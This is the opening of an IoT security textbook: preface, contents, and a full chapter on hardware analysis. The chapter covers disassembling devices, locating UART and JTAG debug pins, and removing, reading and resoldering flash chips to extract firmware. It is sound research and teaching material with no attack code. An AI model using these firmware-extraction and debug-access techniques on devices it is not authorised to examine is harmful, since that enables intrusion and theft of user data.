133 27 11MB
English Pages 297 [292] Year 2021
Qinghao Tang Fan Du
Internet of Things Security: Principles and Practice
Internet of Things Security: Principles and Practice
Qinghao Tang • Fan Du
Internet of Things Security: Principles and Practice
Qinghao Tang Beijing, China
Fan Du Beijing, China
ISBN 978-981-15-9941-5 ISBN 978-981-15-9942-2 https://doi.org/10.1007/978-981-15-9942-2
(eBook)
© The Editor(s) (if applicable) and The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2021 This work is subject to copyright. All rights are solely and exclusively licensed by the Publisher, whether the whole or part of the material is concerned, specifically the rights of translation, reprinting, reuse of illustrations, recitation, broadcasting, reproduction on microfilms or in any other physical way, and transmission or information storage and retrieval, electronic adaptation, computer software, or by similar or dissimilar methodology now known or hereafter developed. The use of general descriptive names, registered names, trademarks, service marks, etc. in this publication does not imply, even in the absence of a specific statement, that such names are exempt from the relevant protective laws and regulations and therefore free for general use. The publisher, the authors, and the editors are safe to assume that the advice and information in this book are believed to be true and accurate at the date of publication. Neither the publisher nor the authors or the editors give a warranty, expressed or implied, with respect to the material contained herein or for any errors or omissions that may have been made. The publisher remains neutral with regard to jurisdictional claims in published maps and institutional affiliations. This Springer imprint is published by the registered company Springer Nature Singapore Pte Ltd. The registered company address is: 152 Beach Road, #21-01/04 Gateway East, Singapore 189721, Singapore
Preface
With the development of Internet of Things (IoT) technology, IoT devices are widely used in homes, businesses, and public infrastructures. It can be inferred that IoT devices will gradually participate more on peoples’ daily life and contribute an increasingly significant share to the economy. Therefore, how to keep the safety and satbility of IoT devices is regarded as an important task for every IoT manufacturer. IoT devices should be guaranteed to operate safely and stably. Comparing with software, IoT devices are more likely to be attacked. When users use typical IoT products such as routers, smart speakers, or in-car entertainment systems, key parts such as cloud, terminals, mobile device applications, and communication data will be involved during the running process, whose risks may lead to the leakage of user sensitive data. In addition, most of IoT devices with a low frequency of upgrades will cause the remaining security risks to be difficult to quickly resolve. Therefore, some Chinese companies such as JD.com, Qihoo 360, Xiaomi, Alibaba, and Tencent as well as some American companies such as Amazon, Google, and Microsoft have established security teams to conduct analysis on IoT security issues. The technology sharing of these companies has made severe security situation of IoT devices recognized by the public. In response to these risks, many IoT product suppliers have begun to purchase equipment to evaluate services and security products. I have been directly participating in the IoT ecological security research project for years and saw many topics about IoT security at international security conferences and the new IoT attack projects that were added to the Pwn2Own Olympic Games in the security industry. These current and upcoming events continue to prove the importance of security for the IoT ecosystem. Therefore, workers in the IoT ecosystem, practitioners in the security industry, and everyone who is concerned about the history of IoT should understand IoT security, which is meaningful and necessary. IoT Security: Principles and Practices contains the topics I shared in multiple international security conferences from 2017 to 2019, as well as the methods I have accumulated during the security analysis of multiple typical IoT devices. It is hoped that this book can help readers quickly understand IoT security issues. This book is composed of 6 chapters. Chapters 1–4 introduce the analysis v
vi
Preface
methods for IoT devices. The analyzed objects include hardware, firmware, and wireless communication. Chapters 5 and 6 introduce general defense strategies for IoT devices. This book not only provides a lot of in-depth and wonderful IoT device security solutions for IoT practitioners but also provides many vulnerability analysis methods and basic tools for readers without basic knowledge of IoT security. It is hoped that this combination of basic knowledge and in-depth analysis can meet the needs of readers at different levels. The first four chapters of this book are written by Mr. Tang Qinghao, and the last two chapters are written by Mr. Du Fan. We would like to extend our gratitude to the experts Nick Zhu and Kripa Guruprasad of Springer Nature who worked hard for the publication of this book as well as the family who supported us. Beijing, China September, 2020
Qinghao Tang Fan Du
Contents
Part I
Basics and Analysis Methods for IoT System
1
The Analysis on Hardware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.1 Dismantling the Equipment . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.2 The Analysis on the Circuit Board . . . . . . . . . . . . . . . . . . . . . . . 1.3 The Analysis on the Hardware Interface . . . . . . . . . . . . . . . . . . . 1.3.1 UART Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.3.2 JTAG Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.4 The Extraction of Firmware . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.4.1 The Disassembly of Flash Memory . . . . . . . . . . . . . . . . . 1.4.2 Flash Memory Reading . . . . . . . . . . . . . . . . . . . . . . . . . 1.4.3 Flash Memory Welding . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . .
3 3 5 10 11 16 19 19 23 27
2
The Analysis of Wireless Communication Protocol . . . . . . . . . . . . . 2.1 Wi-Fi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.1 Introduction to the Protocol . . . . . . . . . . . . . . . . . . . . . . 2.1.2 Analysis Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2 Low-power Bluetooth . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.2.1 Introduction to the Protocol . . . . . . . . . . . . . . . . . . . . . . 2.2.2 Introduction to the Analysis Methods . . . . . . . . . . . . . . . 2.3 ZigBee . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.1 Introduction to the Protocol . . . . . . . . . . . . . . . . . . . . . . 2.3.2 Analysis Methods . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4 GPS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4.1 Principles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4.2 Analytical Method . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . .
33 33 33 38 42 44 48 54 55 60 63 64 66
3
Basic Knowledge of Firmware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1 Architecture and Operating System . . . . . . . . . . . . . . . . . . . . . . . 3.1.1 CISC and RISC . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.1.2 Overview of Common Operating Systems . . . . . . . . . . . . .
71 71 71 72 vii
viii
Contents
3.2
. . . . . . . .
73 73 74 79 81 86 92 95
. . . . . . . . .
98 105 105 107 112 114 116 117 118
Analysis of Firmware Vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . 4.1 Analysis of Firmware Vulnerability of Embedded Linux System . . . 4.1.1 The Acquisition of Firmware . . . . . . . . . . . . . . . . . . . . . . 4.1.2 Modify Firmware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.1.3 Basic Knowledge About Assembly . . . . . . . . . . . . . . . . . . 4.1.4 Example: Fuzzing with AFL . . . . . . . . . . . . . . . . . . . . . . . 4.1.5 Overview of Exploit . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2 Analysis of Android System Firmware Vulnerability . . . . . . . . . . . 4.2.1 Analysis of the Vulnerability of Android Devices . . . . . . . 4.2.2 SEAndroid Security Policy . . . . . . . . . . . . . . . . . . . . . . . . 4.2.3 Modify Firmware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2.4 Reverse APK . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2.5 Example: Reverse Analysis of the Drive Recorder Application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2.6 Example: A Translator Implants Vulnerability Analysis Through a USB Interface Program . . . . . . . . . . . . . . . . . . 4.2.7 Example: Analysis of Implantation Vulnerability of a Smart Speaker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4.2.8 Overview of Vulnerability Mining . . . . . . . . . . . . . . . . . . 4.2.9 Example: Analysis of Remote Code Execution Vulnerability of a Router . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
121 121 121 125 129 136 142 148 149 150 154 155
3.3
4
Part II 5
Overview of Embedded Linux System . . . . . . . . . . . . . . . . . . . . 3.2.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.2 Boot Loader . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.3 Kernel and User Mode Process . . . . . . . . . . . . . . . . . . . . 3.2.4 File System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.5 Hardware Device Interface . . . . . . . . . . . . . . . . . . . . . . . 3.2.6 Cross Compiling . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.2.7 Debug and Binary Tools . . . . . . . . . . . . . . . . . . . . . . . . 3.2.8 Example: Analysis of a Physical Contact Implantation Vulnerability of a Smart Speaker . . . . . . . . . . . . . . . . . . Overview of the Android System . . . . . . . . . . . . . . . . . . . . . . . . 3.3.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.2 File System . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.3 System Startup Process . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.4 Recovery Mode . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.5 Android Debug Bridge . . . . . . . . . . . . . . . . . . . . . . . . . . 3.3.6 Hardware Device Interface . . . . . . . . . . . . . . . . . . . . . . . 3.3.7 Application . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
158 160 170 177 182
Defense Methods for Industrial IoT System
Techniques for IoT System Security . . . . . . . . . . . . . . . . . . . . . . . . . 201 5.1 Identity Authentication . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 202 5.1.1 Introduction to Identity Authentication . . . . . . . . . . . . . . . 202
Contents
5.1.2 Identity Authentication Technology . . . . . . . . . . . . . . . . . 5.1.3 Identity Authentication Security . . . . . . . . . . . . . . . . . . . . ARM TrustZone Technology . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2.1 History . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2.2 Introduction to GlobalPlatform TEE . . . . . . . . . . . . . . . . . 5.2.3 Introduction to TrustZone . . . . . . . . . . . . . . . . . . . . . . . . . 5.2.4 Set Up OP-TEE Development Environment . . . . . . . . . . . . 5.2.5 OP-TEE Development . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2.6 Introduction to OP-TEE Principle . . . . . . . . . . . . . . . . . . . Intel SGX Technology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.3.1 Introduction to Intel SGX . . . . . . . . . . . . . . . . . . . . . . . . . 5.3.2 Set Up SGX Development Environment . . . . . . . . . . . . . . 5.3.3 The Verification Program Designs the Password with SGX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.3.4 Introduction to SGX Principle . . . . . . . . . . . . . . . . . . . . . Security OTA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.4.1 Introduction to OTA . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.4.2 OTA Threat Modeling . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.4.3 Threat Report . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.4.4 Security Measures . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
248 253 267 267 267 270 272
Solutions for IoT System Security . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.1 Introduction to the Solution . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.1.1 Terminal Device . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.1.2 Internet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.1.3 Cloud Platform . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2 Introduction to the Implementation of the Security Plan . . . . . . . . . 6.2.1 Identification and Authentication . . . . . . . . . . . . . . . . . . . 6.2.2 OTA Firmware Update . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2.3 Security Protection of Terminal Equipment . . . . . . . . . . . .
273 273 274 278 278 279 279 281 282
5.2
5.3
5.4
6
ix
203 203 205 205 206 209 216 219 225 243 243 244
Part I
Basics and Analysis Methods for IoT System
Chapter 1
The Analysis on Hardware
With the continuous advancement of technology, there are more and more IoT (Internet of Things) devices that make life more convenient. For example, we can use smart cameras to monitor pets in the house. However, IoT devices also increase risks for many families, so it is necessary to analyze the security performance of IoT devices. Any IoT device can be analyzed by security researchers from hardware, wireless communication, and firmware. The first four chapters of this book introduce the common hardware modules of IoT devices, the wireless protocols commonly used in IoT products, the working principle of firmware, and the security penetration method of firmware. This chapter introduces the knowledge of IoT device hardware analysis. Hardware is a direct and important entry point to attack IoT devices, so we need to understand the common modules and analysis methods that make up IoT devices. This chapter includes methods to identify commonly used hardware modules of IoT products, working principles of typical hardware interfaces (such as UART, JATG), and methods to extract firmware from hardware. After reading this chapter, readers will be able to analyze common IoT devices by using specific hardware tools.
1.1
Dismantling the Equipment
Figure 1.1 shows a smart audio device. The security professional should disassemble it and take out and study the circuit board before analyzing its hardware. This chapter introduces some tools and techniques that will be used during the disassembly. There are many types of IoT devices and assembly methods. The housing of the device can be assembled by fasteners, screws, and glue. The tools required for disassembly (as shown in Fig. 1.2) include the crowbar, pry bar, screwdriver, tweezers, vacuum pad. © The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2021 Q. Tang, F. Du, Internet of Things Security: Principles and Practice, https://doi.org/10.1007/978-981-15-9942-2_1
3
4
1 The Analysis on Hardware
Fig. 1.1 A smart audio device
In general, some equipment made of thinner materials may be assembled with glue, while most equipment is assembled with screws and fasteners and there are slits in the equipment assembled with fasteners. In the disassembly of the equipment, the crowbar and pry bar need to be used to widen the slit between the housings of the equipment, and then the fastener is pried away with the crowbar. It is worth mentioning that the fastener may be pried off due to excess force. Many devices hide the screw hole by hiding it under a rubber pad or sticker (Fig. 1.3). We need to first remove the rubber pad and expose the screw, and then remove the screw with a suitable screwdriver. When disassembling a device that is glued (such as a mobile phone screen), we need to use a vacuum pad to expand the gap between the devices, and then use a pry bar or crowbar to separate the device. In addition, some devices that are not suitable for the above situation can only be disassembled by force.
1.2 The Analysis on the Circuit Board
5
Fig. 1.2 Tools used in disassembly
Fig. 1.3 Stickers and screw holes
1.2
The Analysis on the Circuit Board
After disassembling the IoT hardware device (Fig. 1.4), we need to analyze the circuit board. If you lack the basic knowledge of hardware, you will be very confused to see thousands of components on the circuit board. Next, we will help you understand them by introducing some components commonly used in safety research.
6
1 The Analysis on Hardware
Fig. 1.4 Disassembly of IoT devices
According to the working mode of transistors, there are digital chips and analog chips. According to the function of chips, there are processor chips, flash memory, specific function chips, and so on. The processor chip, or CPU, is mainly responsible for data processing and calculation of the device. In flash memory, a chip whose data is lost after the interruption of power supply is called a memory chip. A memory chip with high access speed is mainly responsible for serving as a carrier for storing data when the device is running. A chip that does not lose data after the interruption of power supply is called a flash memory chip, that is, a hard disk used to store firmware and data of a device. The functions of specific function chips are limited, such as GPS chips (Fig. 1.5), Wi-Fi chips (Fig. 1.6), and Bluetooth chips (Fig. 1.7). It should be
1.2 The Analysis on the Circuit Board
7
Fig. 1.5 GPS chip
Fig. 1.6 Wi-Fi chip
noted that a specific function chip can have multiple functions. It looks like one chip, but has multiple functions by packaging multiple chips together. Here are some confusing terms about chips: 1. As the core component of a device, the CPU (Central Processing Unit), referred to as the processor (Fig. 1.8), is composed of arithmetic units, controllers, and registers, and is mainly responsible for interpreting computer instructions and processing application program data.
8
1 The Analysis on Hardware
Fig. 1.7 Bluetooth chip
Fig. 1.8 CPU
2. MCU (Microcontroller Unit), also known as Single Chip Microcomputer (Fig. 1.9), is a chip-level computer by integrating CPU, RAM, and ROM, and various input/output interfaces on one chip. 3. As a special-purpose integrated circuit, SOC (System-on-a-chip) (Fig. 1.10) integrates all necessary components and assemblies onto a single chip. In device analysis, we generally identified and distinguished chips by distinguishing the packaging. Common packaging methods are as follows:
1.2 The Analysis on the Circuit Board
9
Fig. 1.9 MCU
Fig. 1.10 SOC
1. The SOP (small outline package) (Fig. 1.11) developed by Philips in 1969 is characterized by surface mounting, and the pins at the bottom are drawn from both sides, showing a bird-wing shape. SOP is widely used including the frequency generating unit on the computer motherboard. SOP derives many package types, such as SOJ (small outline J-leaded package), SSOP (shrink small outline package), SOT (small outline transistor), SOIC (small outline integrated circuit), etc. 2. BGA (ball grid array package) (Fig. 1.12), which originated in the mid-1990s, is characterized by the use of solder balls as the connection point of the circuit, and is widely used in various CPU chips and flash memory.
10
1 The Analysis on Hardware
Fig. 1.11 SOP
Fig. 1.12 BGA
3. QFP (plastic quad flat package) (Fig. 1.13), compared with SOP, has a larger number of thinner pins, and the distance between the pins is smaller. QFP is generally used in large-scale or super large integrated circuits.
1.3
The Analysis on the Hardware Interface
We have learned the components of the circuit board, and then need to find the data interface including USB, SDCARD interface, etc. on the circuit board, in order to interact with the IoT system. In addition, currently, the main IoT is usually combined with the Android system, and the USB interface on the motherboard is likely to have a debugging interface. This section mainly introduces the UART interface and JTAG interface.
1.3 The Analysis on the Hardware Interface
11
Fig. 1.13 QFP
Fig. 1.14 Serial interface
1.3.1
UART Interface
The UART (universal asynchronous receiver/transmitter), generally called serial interface (Fig. 1.14), is considered to be the most commonly used debugging and communication interface in IoT devices, and can be found by readers on the common embedded demo board. Commonly used serial interface contains at least four pins, including VCC (volt current condenser), GND (ground), TXD (receive data), RXD (transmit data). It is
12
1 The Analysis on Hardware
worth mentioning that when we analyze the circuit, we generally only need to find the two pins, RXD and TXD of the serial interface. Because there must be a GND pin on a motherboard, and the VCC pin does not need to be connected during the communication process. In order to identify the serial interface in the circuit board, the analyst can directly observe the contactor information or test the pins with multimeter (Fig. 1.15). As a measurement tool that is frequently used in the analysis of IoT devices, multimeter can measure the capacitance, resistance, direct current, alternating current, voltage, current and other commonly used physical parameters that can be used to identify the serial interface. There are multiple continuous contactors printed with VCC, RXD, TXD, and GND next to a circuit board, which can be regarded as the simplest serial interface. What is more complicated is that the words TX and RX are printed next to several discrete pins, which is also more likely to be a serial interface. As shown in Figs. 1.16 and 1.17, the location of the serial interface is very obvious, and the function of each pin is clearly marked. As shown in Figs. 1.18 and 1.19, we will see four or five consecutive pin headers, that is, a type of serial interface. Because we still do not know the function of the pins, and it is difficult to determine the specific role of each pin only by observation, we should use multimeter to know the function of the pin. The serial interface is most suitable for detection when the device is just started, because we can quickly find the VCC pin. The specific steps are as follows: first, we select the multimeter test DC voltage function and set the range to 20 volts; second, we put the black probe at the metal pin of the antenna and turn on the device, and then use the red probe to contact several pins of the serial interface in turn; third,
Fig. 1.15 Multimeter
1.3 The Analysis on the Hardware Interface Fig. 1.16 UART interface 1
Fig. 1.17 UART interface 2
Fig. 1.18 UART interface 3
13
14
1 The Analysis on Hardware
Fig. 1.19 UART interface 4
Fig. 1.20 Determination of the VCC pin
when we find that the voltage of a certain pin has been stable at about 3.3 V, then the pin contacted by the red probe at this time is determined as the VCC pin (Fig. 1.20). We have determined the VCC pin, and the next step is to detect the TXD port. When there is no data output, the voltage of the TXD pin will remain at 3.3 volts. Usually, when the device is started, the serial interface will be sent to print the device startup information, which is convenient for software designers to debug the device. In view of this, we can quickly determine the TXD. The steps of the measurement operation are similar to the measurement of the VCC pin, but the only difference is the display of the multimeter voltage. If the pin being tested is TXD, the voltage value displayed by multimeter will vary from 0 volts to 3.3 volts (Fig. 1.21). Next, we start to probe the GND pin according to the buzzing sound when using multimeter red and black pens. Since many places on the circuit board are connected
1.3 The Analysis on the Hardware Interface
15
Fig. 1.21 Determination of TXD pin
Fig. 1.22 GND pin probe
to GND, such as the USB base, metal shield case, exposed copper sheet, etc., we should first place the red probe on the metal pin of the antenna, and then use the black probe to contact each pin of serial interface in turn. When the black probe touches the GND pin, it will make a sharp sound (Fig. 1.22). Finally, let us probe the RXD pin. We generally think that the pin adjacent to the TXD pin but not measured by the above steps is the RXD pin, because RXD has no obvious characteristics. After determining the serial interface pins of the circuit board, we can get a lot of information from the serial interface. By using a TTL-to-USB wire (TTL recovery
16
1 The Analysis on Hardware
Fig. 1.23 TTL recovery wire
RX
RX
TX
TX
GND
GND
IoT Device
Converter
Fig. 1.24 The way of pin connection
wire) (Fig. 1.23), we connect the serial interface to the computer with the pin connection shown in Fig. 1.24, and use the serial interface tool to read and write on the computer. Serial interface tools on Linux include picocom, minicom, miniterm, etc., and on Windows include putty, MobaXTerm, etc. It is worth mentioning that if we see garbled characters when using the above serial interface tool, we can adjust the Baud (which is used to indicate the rate of data transmission in serial interface communication) to receive normal character string information. Common Baud are 9600, 38,400, 19,200, 57,600, 115,200. Figure 1.25 shows the serial interface output of a device, where Baud is 115,200.
1.3.2
JTAG Interface
As an international standard test protocol, JTAG (Joint Test Action Group) is usually used to program, debug chips and explore ports. Many chips have JTAG interfaces,
1.3 The Analysis on the Hardware Interface
17
Fig. 1.25 Serial interface output information of a device
Fig. 1.26 JTAG Interface
and there will also be a JTAG interface on the demo board. Common JTAG interface numbers are 10 pin, 14 pin, and 20 pin. Figure 1.26 shows the 14 pin JTAG interface on a demo board. When we extract the firmware through JTAG, we do not need to find all the pins (Fig. 1.27 shows the definition of the 14 pin pins), but only need to find the five main pins: TDI, TDO, TCK, TMS, GND. Their information is as follows:
18
1 The Analysis on Hardware
Fig. 1.27 Definition of 14 pin Pins
Fig. 1.28 JTAG interface 1
1. 2. 3. 4. 5.
TDI (Test Data Input); TDO (Test Data Output); TCK (Test Clock); TMS (Test Mode Select); GND (Ground).
At present, few IOT devices will set obvious JTAG interfaces, and they will be set as shown in Figs. 1.28 and 1.29. Figure 1.25 shows the pin diagram of a device with a JTAG interface, which can be analyzed by observing whether it has several consecutive pins, or whether the TMS, TDI, and other keywords are written on the circuit board. Figure 1.26 shows a device without a JTAG interface, which needs to be analyzed by referring to the definition of the chip pins in the data manual of the
1.4 The Extraction of Firmware
19
Fig. 1.29 JTAG interface 2
CPU chip and then measuring the pins with multimeter. If the pins of the CPU chip are not exposed, we need to remove the CPU chip from the motherboard to measure.
1.4
The Extraction of Firmware
At the end of the hardware analysis, we have a deep understanding of the components and interfaces of the circuit board, so we can lay the foundation for subsequent analysis by continuing to extract the firmware in the flash memory. It is worth mentioning that in the process of using the hardware device to read the firmware, we usually need to remove the flash memory on the circuit board. However, please pay attention to some devices in which some chips are difficult to restore.
1.4.1
The Disassembly of Flash Memory
Common flash memory packaging methods in IoT devices include SOP, TSOP, and BGA, which are all characterized by surface-mount components and can be unsoldered by using hot air station. When disassembling the above three types of flash memory, we need to use hot air station, electric soldering iron, tweezers, desoldering wires, which are introduced below.
20
1 The Analysis on Hardware
Fig. 1.30 Electric soldering iron
Fig. 1.31 Soldering station
1. As a commonly used IoT device analysis tool, electric soldering iron (Fig. 1.30) is generally used to solder electronic components and circuit wires. According to the heating method and whether the temperature is constant, electric soldering iron is classified into multiple types. Figure 1.31 shows a kind of electric soldering iron, namely a soldering station. Soldering using soldering station can return to temperature faster, and enjoy a longer life, and prevent static electricity, so it is more efficient. Consumables for electric soldering iron include soldering iron tip (Fig. 1.32) and heater core (Fig. 1.33). When we first use the soldering iron tip, we should use fresh solder to cover the soldering iron tip to remove the oxide on the surface of the soldering iron tip. In addition, after that, we also need to cover the soldering iron tip with tin to prevent oxidation. 2. Solder wire (Fig. 1.34) is a necessary material for welding, including leadcontaining and lead-free materials. Considering that lead is harmful to humans, we recommend that you use lead-free solder wire. 3. Desoldering wire is a tool used to remove tin (Fig. 1.35).
1.4 The Extraction of Firmware
21
Fig. 1.32 Soldering iron tip
Fig. 1.33 Heater core
Generally, there are four steps to use the above tools to disassemble the IoT flash memory:
22
1 The Analysis on Hardware
Fig. 1.34 Solder wire
Fig. 1.35 Desoldering wire
1. Choose the tuyere according to the size of flash memory (Fig. 1.36). 2. Turn on the hot air gun and adjust the temperature and wind speed. Move the air gun alternately on both sides of the left and right pins of the SOP packaged chip. For efficiency, apply flux around the BGA packaged chip, and then use a hot air gun to align and heat the circumference to make flux penetrate the chip. Then continue to use the hot air gun to align the heating clockwise (Fig. 1.37). 3. Touch the chip with tweezers until the chip is obviously loose (Fig. 1.38). 4. Clean it with the desoldering wire.
1.4 The Extraction of Firmware
23
Fig. 1.36 Step 1
Fig. 1.37 Step 2
1.4.2
Flash Memory Reading
After removing the flash memory, we can read the firmware of the corresponding programmer according to the type of flash memory. Programmers commonly used in the analysis of IoT devices can read and write data in programmable integrated circuits. Flash memory includes NOR Flash, NAND Flash, and EMMC, which have different packaging methods and different programmers for reading. The following is an introduction to them:
24
1 The Analysis on Hardware
Fig. 1.38 Step 3
Fig. 1.39 NOR Flash
1. NOR Flash, which is usually packaged in SOP-8 or SOP-16 (Fig. 1.39), can be tried to read with a programming clip (Fig. 1.39) before it is removed. If it does not work, we can remove it and use the test socket (which is used to connect the chip and programmer) and programmer (Fig. 1.40) to read. Generally, NOR Flash has larger pins with larger distance, so we can use the test clip to clamp one end of the chip and the other end to the programmer, and connect the programmer to the host machine through the USB. Then, use the software that matches the programmer on the host (Fig. 1.41) and enter the chip model. The above is the process of reading and writing chips. 2. The NAND Flash packaged in TSOP (Fig. 1.42) has more slim and dense pins. We should not use clips when reading NAND Flash, but only remove it from the circuit board and use the programmer (Fig. 1.43) to read, which is similar to the NOR Flash reading method.
1.4 The Extraction of Firmware
25
Fig. 1.40 Programming clip and programmer
Fig. 1.41 Instrument
3. EMMC/EMCP (Fig. 1.44), which is usually packaged in BGA, can only be removed from the circuit board and read by the programmer when the content is read. Figure 1.45 shows a USB disk programmer that reads EMMC and is generally recognized as an ext. format file system. We recommend connecting to the Linux system to read.
26 Fig. 1.42 NAND flash
Fig. 1.43 Programmer
Fig. 1.44 EMMC
1 The Analysis on Hardware
1.4 The Extraction of Firmware
27
Fig. 1.45 Programmer
1.4.3
Flash Memory Welding
After disassembling and reading the flash memory on the IoT device circuit board, we can generally restore the flash memory function by soldering. When we weld flash memory which is packaged by SOP and TSOP, we need to use the drag pooling technology. The steps are as follows: 1. Clean the pad and keep the pad clean with the plate washer water. 2. Put the chip on the pad correctly. There is a small dot on the corner of the chip that represents the first pin of the chip. There is a notched rectangle on the circuit board, and the notched place represents the direction of the first pin. 3. Solder one of the pins to fix the chip. 4. After applying a small amount of flux on the pins of the chip, add tin to the soldering iron tip and drag it on the pins on both sides of the chip. 5. After using the soldering iron, add tin to the soldering iron tip and clean the circuit board with plate washer water. When soldering chips with BGA packaging, tin must be transplanted (to add tin to the solder joints on the chip). The tools required are hot air gun, solder paste, tin planting net, colophony, BGA. The following is an introduction to them: 1. The hot air gun is one of the necessary tools in the repair of circuit boards, and is mainly used for desoldering electronic components on circuit boards. Figures 1.46 and 1.47 show two types of hot air guns. Compared with the hot air gun in
28
1 The Analysis on Hardware
Fig. 1.46 Hot air gun 1
Fig. 1.47 Hot air gun 2
Fig. 1.47, the hot air gun in Fig. 1.46 can control the air volume and temperature more precisely. When soldering leaded solder, we generally set the temperature to 300–350 C and the wind pressure to 60–80. When using the hot air gun, we should note that when the hot air gun is in working condition, no objects should be placed within 15 cm in front of the tuyere. In addition, never direct the hot air
1.4 The Extraction of Firmware
29
Fig. 1.48 Solder paste
directly at people or animals. Moreover, it is strictly prohibited to place flammable materials around the hot air gun. 2. The main components of the paste-like solder paste (Fig. 1.48) used to solder components on the surface of the circuit board are solder powder, flux, and surfactant. 3. Tin planting net (Fig. 1.49) is a steel mesh with meshes corresponding to the contactor of the chip. The steel mesh needs to be corresponded to each corresponding chip. 4. Colophony (Fig. 1.50), as a commonly used flux, will make the welding process smoother, and the colophony film generated during the welding process can prevent moisture and corrosion. 1. BGA is a professional equipment for welding (Fig. 1.51). When using the above tools for flash memory soldering, the steps of ball mounting that are regarded as the most responsible stage are as follows: 1. Clean the tin planting net and the chip with alcohol and properly clean the solder on the surface of the BGA chip so that it does not affect the use of planted steel mesh. It is worth noting that the use of desoldering wire when cleaning the solder will make it difficult to add tin the next time. 2. Place the IC in the card holder and cover with ball mounting steel mesh to align fillet weld leg and mesh hole. 3. Take a proper amount of solder paste with a spatula and apply it to the steel mesh to ensure that there is solder paste in each mesh. In addition, thin tin paste cannot be used because it will boil when the hot air gun is used and increase the difficulty of forming balls. Tin paste that is too thin can be wiped off with a facial tissue.
30
1 The Analysis on Hardware
Fig. 1.49 Tin planting net
Fig. 1.50 Colophony
4. We need to use hot air gun to heat the solder paste and make it into solder balls. First, set the hot air gun’s wind speed to 1–2, and the temperature to 250–350. Then the ball mounting steel mesh is heated uniformly and the solder paste is melted. When we determine whether the temperature is appropriate, observe whether there is a tin ball in the steel mesh, and when it appears, we should raise the tuyere and maintain the temperature. It is worth noting that the high
1.4 The Extraction of Firmware
31
Fig. 1.51 BGA
temperature will make the solder paste boil thus the solder ball cannot be generated. 5. After the chip cools down, separate the chip from the steel mesh and clean the steel mesh.
Chapter 2
The Analysis of Wireless Communication Protocol
This chapter introduces tools and methods for analyzing the wireless communication process of IoT devices. Currently widely used IoT devices generally communicate through wireless protocols. Common wireless protocols include Wi-Fi, Bluetooth, ZigBee, etc., which help IoT products achieve a good user experience. Because these protocols must continue to meet the needs of users in a variety of scenarios, there are complex risks that may be exploited by hackers in the design and practice. After reading this chapter, readers will be able to capture and analyze data packets by using specific software and tools, through which they can understand the communication content of IoT products, which is very cool.
2.1
Wi-Fi
Based on the IEEE 802.11 standard, wireless fidelity, referred to as Wi-Fi, is a shortdistance wireless communication technology invented by an Australian, John O’Sullivan, and it is widely used in the world. Currently, IoT devices generally support Wi-Fi technology, such as drive recorders, mobile phones, routers (Fig. 2.1), and other devices that can connect to the Internet via WLAN or hot spots.
2.1.1
Introduction to the Protocol
